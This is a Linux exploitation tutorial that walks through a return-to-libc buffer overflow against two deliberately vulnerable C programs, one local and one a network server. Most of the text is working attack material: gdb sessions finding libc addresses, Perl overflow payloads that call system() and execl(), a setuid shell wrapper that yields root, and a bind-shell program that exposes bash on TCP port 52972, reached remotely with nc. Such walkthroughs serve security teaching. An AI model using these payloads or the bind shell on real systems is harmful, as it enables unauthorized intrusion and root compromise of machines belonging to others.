Jeremy Brown [0xjbrown41@gmail.com/jbrownsec.blogspot.com]

Return To LIBC Exploitation Demonstration [LINUX]

*** Good technique for exploiting targets with small buffers and/or bypassing a non-executable stack. ***

[PART 1 + LOCAL][PART 1 + LOCAL][PART 1 + LOCAL][PART 1 + LOCAL][PART 1 + LOCAL][PART 1 + LOCAL]

bugs@linux:~$ cat bof.c
#include <stdio.h>

int main(int argc, char *argv[])
{

char buf[1024];

if(argc < 2) { printf("usage: %s data\n", argv[0]); return 0; }

     sprintf(buf, "%s", argv[1]);
     printf("\n%s\n\n", buf);

return 0;
}

bugs@linux:~$ gdb bof
GNU gdb 6.5
Copyright (C) 2006 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i486-linux-linux"...Using host libthread_db library "/lib/libthread_db.so.1".

(gdb) `perl -e 'print "A" x 1036'`
Undefined command: "".  Try "help".
(gdb) r `perl -e 'print "A" x 1036'`
Starting program: /home/bugs/bof `perl -e 'print "A" x 1036'`

AAAA.....


Program received signal SIGILL, Illegal instruction.
0x40047200 in __libc_start_main () from /lib/libc.so.6
(gdb) i r
eax            0x0  0
ecx            0x0  0
edx            0x40f  1039
ebx            0x4015bff0  1075167216
esp            0xbffff1e0  0xbffff1e0
ebp            0x41414141  0x41414141
esi            0xbffff230  -1073745360
edi            0x2  2
eip            0x40047200  0x40047200 <__libc_start_main+16>
eflags         0x10282  [ SF IF RF ]
cs             0x23  35
ss             0x2b  43
ds             0x2b  43
es             0x2b  43
fs             0x0  0
gs             0x0  0
(gdb) r `perl -e 'print "A" x 1040'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/bugs/bof `perl -e 'print "A" x 1040'`

AAAA.....


Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) break main
Breakpoint 1 at 0x80483dd
(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/bugs/bof `perl -e 'print "A" x 1040'`

Breakpoint 1, 0x080483dd in main ()
(gdb) p system
$1 = {<text variable, no debug info>} 0x400684e0 <system>
(gdb) p execl
$1 = {<text variable, no debug info>} 0x400bf230 <execl>
(gdb) x/100s $esi
.....
0xbffff2f7:   ""
0xbffff2f8:   ""
0xbffff2f9:   "\203\004\b\v"
---Type <return> to continue, or q <return> to quit---
0xbffff2fe:   ""
0xbffff2ff:   ""
0xbffff300:   "�\003"
.....
0xbffff335:   "i686"
0xbffff33a:   "/home/bugs/bof"
0xbffff349:   'A' <repeats 200 times>...
0xbffff411:   'A' <repeats 200 times>...
0xbffff4d9:   'A' <repeats 200 times>...
0xbffff5a1:   'A' <repeats 200 times>...
0xbffff669:   'A' <repeats 200 times>...
(gdb) p exit
$2 = {<text variable, no debug info>} 0x4005e110 <exit>
(gdb) q
The program is running.  Exit anyway? (y or n) y
bugs@linux:~$

We have our information, now we need to put it together.

system() @ 0x400684e0 [\xe0\x84\x06\x40]
execl()  @ 0x400bf230 [\x30\xf2\x0b\x40]
exit()   @ 0x4005e110 [\x10\xe1\x05\x40]
EIP overwrite-4 = 1036

Remember, system() takes one argument and execl() takes three.

Now we are going to debug a little around system() and find our groove. We can search 
around 0xbffffxxxx for easy ones.

`perl -e 'print "A" x 1036 . "\xe0\x84\x06\x40" . "DCBA" . "\xd0\xfe\xff\xbf";'`
             junk data            system()        retaddr     system() arg

bugs@linux:~$ ./bof `perl -e 'print "A" x 1036 . "\xe0\x84\x06\x40" . "DCBA" . "\xd0\xfe\xff\xbf";'`

AAAA.....AAAA��@DCBA����

sh: /lib/java: No such file or directory
Segmentation fault
bugs@linux:~$ 

Go up 5 bytes (/lib/java -> java)

bugs@linux:~$ ./bof `perl -e 'print "A" x 1036 . "\xe0\x84\x06\x40" . "DCBA" . "\xd5\xfe\xff\xbf";'`

AAAA.....AAAA��@DCBA����

Usage: java [-options] class [args...]
           (to execute a class)
   or  java [-options] -jar jarfile [args...]
           (to execute a jar file)

where options include:
    -d32          use a 32-bit data model if available

    -d64          use a 64-bit data model if available
    -client    to select the "client" VM
    -server    to select the "server" VM
    -hotspot    is a synonym for the "client" VM  [deprecated]
                  The default VM is client.
                  
    -cp <class search path of directories and zip/jar files>
    -classpath <class search path of directories and zip/jar files>
                  A : separated list of directories, JAR archives,
                  and ZIP archives to search for class files.
    -D<name>=<value>
                  set a system property
    -verbose[:class|gc|jni]
                  enable verbose output
    -version      print product version and exit
    -version:<value>
                  require the specified version to run
    -showversion  print product version and continue
    -jre-restrict-search | -jre-no-restrict-search
                  include/exclude user private JREs in the version search
    -? -help      print this help message
    -X            print help on non-standard options
    -ea[:<packagename>...|:<classname>]
    -enableassertions[:<packagename>...|:<classname>]
                  enable assertions
    -da[:<packagename>...|:<classname>]
    -disableassertions[:<packagename>...|:<classname>]
                  disable assertions
    -esa | -enablesystemassertions
                  enable system assertions
    -dsa | -disablesystemassertions
                  disable system assertions
    -agentlib:<libname>[=<options>]
                  load native agent library <libname>, e.g. -agentlib:hprof
                    see also, -agentlib:jdwp=help and -agentlib:hprof=help
    -agentpath:<pathname>[=<options>]
                  load native agent library by full pathname
    -javaagent:<jarpath>[=<options>]
                  load Java programming language agent, see java.lang.instrument
Segmentation fault
bugs@linux:~$

Great, now lets go one more byte (make it ava) and go on with this process.

bugs@linux:~$ ./bof `perl -e 'print "A" x 1036 . "\xe0\x84\x06\x40" . "DCBA" . "\xd6\xfe\xff\xbf";'`

AAAA.....AAAA��@DCBA����

sh: ava: command not found
Segmentation fault
bugs@linux:~$ cat sh.c
int main() { setuid(0); setgid(0); system("/bin/bash"); }
bugs@linux:~$ gcc -o ava sh.c
bugs@linux:~$ ./bof `perl -e 'print "A" x 1036 . "\xe0\x84\x06\x40" . "DCBA" . "\xd6\xfe\xff\xbf";'`

AAAA.....AAAA��@DCBA����

bash-3.1$ exit
exit
Segmentation fault
bugs@linux:~$

Nice work. But we want root shell, so lets use execl().

`perl -e 'print "A" x 1036 . "\x30\xf2\x0b\x40" . "DCBA" . "\xd6\xfe\xff\xbf" x 3;'`
             junk data            execl()         retaddr   "ava" (execl() args)

bugs@linux:~$ ./bof `perl -e 'print "A" x 1036 . "\x30\xf2\x0b\x40" . "DCBA" . "\xd6\xfe\xff\xbf" x 3;'`

AAAA.....AAAA0�
   @DCBA������������

bash-3.1# exit
exit
bugs@linux:~$

We can also use exit() as our return address to make things a little cleaner as well.

`perl -e 'print "A" x 1036 . "\x30\xf2\x0b\x40" . "\x10\xe1\x05\x40" . "\xd6\xfe\xff\xbf" x 3;'`
             junk data            execl()           retaddr (exit())    "ava" (execl() args)

[PART 2 + REMOTE][PART 2 + REMOTE][PART 2 + REMOTE][PART 2 + REMOTE][PART 2 + REMOTE][PART 2 + REMOTE]

[Terminal #1]

bugs@linux:~$ cat serv.c
#include <stdio.h>
#include <netdb.h>
#include <netinet/in.h>
#include <sys/socket.h>

#define BUFFSZ 1024
#define READSZ 2048

int main(int argc, char *argv[])
{

if(argc < 2) { printf("Usage: %s port\n", argv[0]); return 0; }

     int z, cli, serv, port = atoi(argv[1]);

     struct sockaddr_in client, server;

     server.sin_family      = AF_INET;
     server.sin_port        = htons(port);
     server.sin_addr.s_addr = INADDR_ANY;

if((serv = socket(AF_INET, SOCK_STREAM, 0)) == -1) { printf("Error: socket()\n"); return -1; }

if(bind(serv, (struct sockaddr *)&server, sizeof(struct sockaddr)) == -1) { printf("Error: bind()\n"); return -1; }

if(listen(serv, 10) == -1) { printf("Error: listen()\n"); return -1; }

for(;;)
{

     cli = accept(serv, (struct sockaddr *)&client, &z);

if(vulnerable(cli) == -1) { printf("Error: vulnerable()\n"); close(cli); }

}

     return 0;
}

int vulnerable(int sock)
{

     char buffer[BUFFSZ], readbuf[READSZ];

     memset(buffer,  0, BUFFSZ);
     memset(readbuf, 0, READSZ);

     read(sock, readbuf, READSZ, 0);

     sprintf(buffer, "%s", readbuf);

     send(sock, buffer, BUFFSZ, 0);

     close(sock);

}

bugs@linux:~$ cat bs.c
#include <stdio.h>
#include <netdb.h>
#include <netinet/in.h>
#include <sys/socket.h>

int main() { int z, cli, serv; struct sockaddr_in client, server; server.sin_family = AF_INET; server.sin_port = htons(52972); server.sin_addr.s_addr = INADDR_ANY;
if((serv = socket(AF_INET, SOCK_STREAM, 0)) == -1) { printf("Error: socket()\n"); return -1; }
if(bind(serv, (struct sockaddr *)&server, sizeof(struct sockaddr)) == -1) { printf("Error: bind()\n"); return -1; }
if(listen(serv, 10) == -1) { printf("Error: listen()\n"); return -1; }
for(;;) { cli = accept(serv, (struct sockaddr *)&client, &z); dup2(cli, 0); dup2(cli, 1); dup2(cli, 2); execl("/bin/bash", "bash", 0); }
return 0; }
bugs@linux:~$ gcc -o serv serv.c
bugs@linux:~$ gcc -o bs bs.c
bugs@linux:~$ ./serv
Usage: ./serv port
bugs@linux:~$ ./serv 5555

[Terminal #2]

bugs@linux:~$ netstat -antp | grep LISTEN
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
tcp        0      0 0.0.0.0:37              0.0.0.0:*               LISTEN     -                   
tcp        0      0 0.0.0.0:111             0.0.0.0:*               LISTEN     -                   
tcp        0      0 0.0.0.0:113             0.0.0.0:*               LISTEN     -                   
tcp        0      0 0.0.0.0:5555            0.0.0.0:*               LISTEN     6110/serv           
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN     -                   
tcp        0      0 0.0.0.0:890             0.0.0.0:*               LISTEN     -         
bugs@linux:~$ echo `perl -e 'print "A" x 1036 . "\xe0\x84\x06\x40" . "\x10\xe1\x05\x40" . "\xd0\xfe\xff\xbf";'` | nc localhost 5555

[Terminal #1]

sh: ib/java: No such file or directory
bugs@linux:~$ cp bs ava
root@linux:~# ./serv 5555

[Terminal #2]

bugs@linux:~$ echo `perl -e 'print "A" x 1036 . "\xe0\x84\x06\x40" . "\x10\xe1\x05\x40" . "\xd4\xfe\xff\xbf";'` | nc localhost 5555

bugs@linux:~$ netstat -antp | grep LISTEN
(No info could be read for "-p": geteuid()=1000 but you should be root.)
tcp        0      0 0.0.0.0:37              0.0.0.0:*               LISTEN     -                   
tcp        0      0 0.0.0.0:52972           0.0.0.0:*               LISTEN     -                   
tcp        0      0 0.0.0.0:111             0.0.0.0:*               LISTEN     -                   
tcp        0      0 0.0.0.0:113             0.0.0.0:*               LISTEN     -                   
tcp        0      0 0.0.0.0:5555            0.0.0.0:*               LISTEN     -                   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN     -                   
tcp        0      0 0.0.0.0:890             0.0.0.0:*               LISTEN     -                   
bugs@linux:~$ nc localhost 52972
id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy)
exit
bugs@linux:~$

Questions. Comments. Concerns. --> 0xjbrown41@gmail.com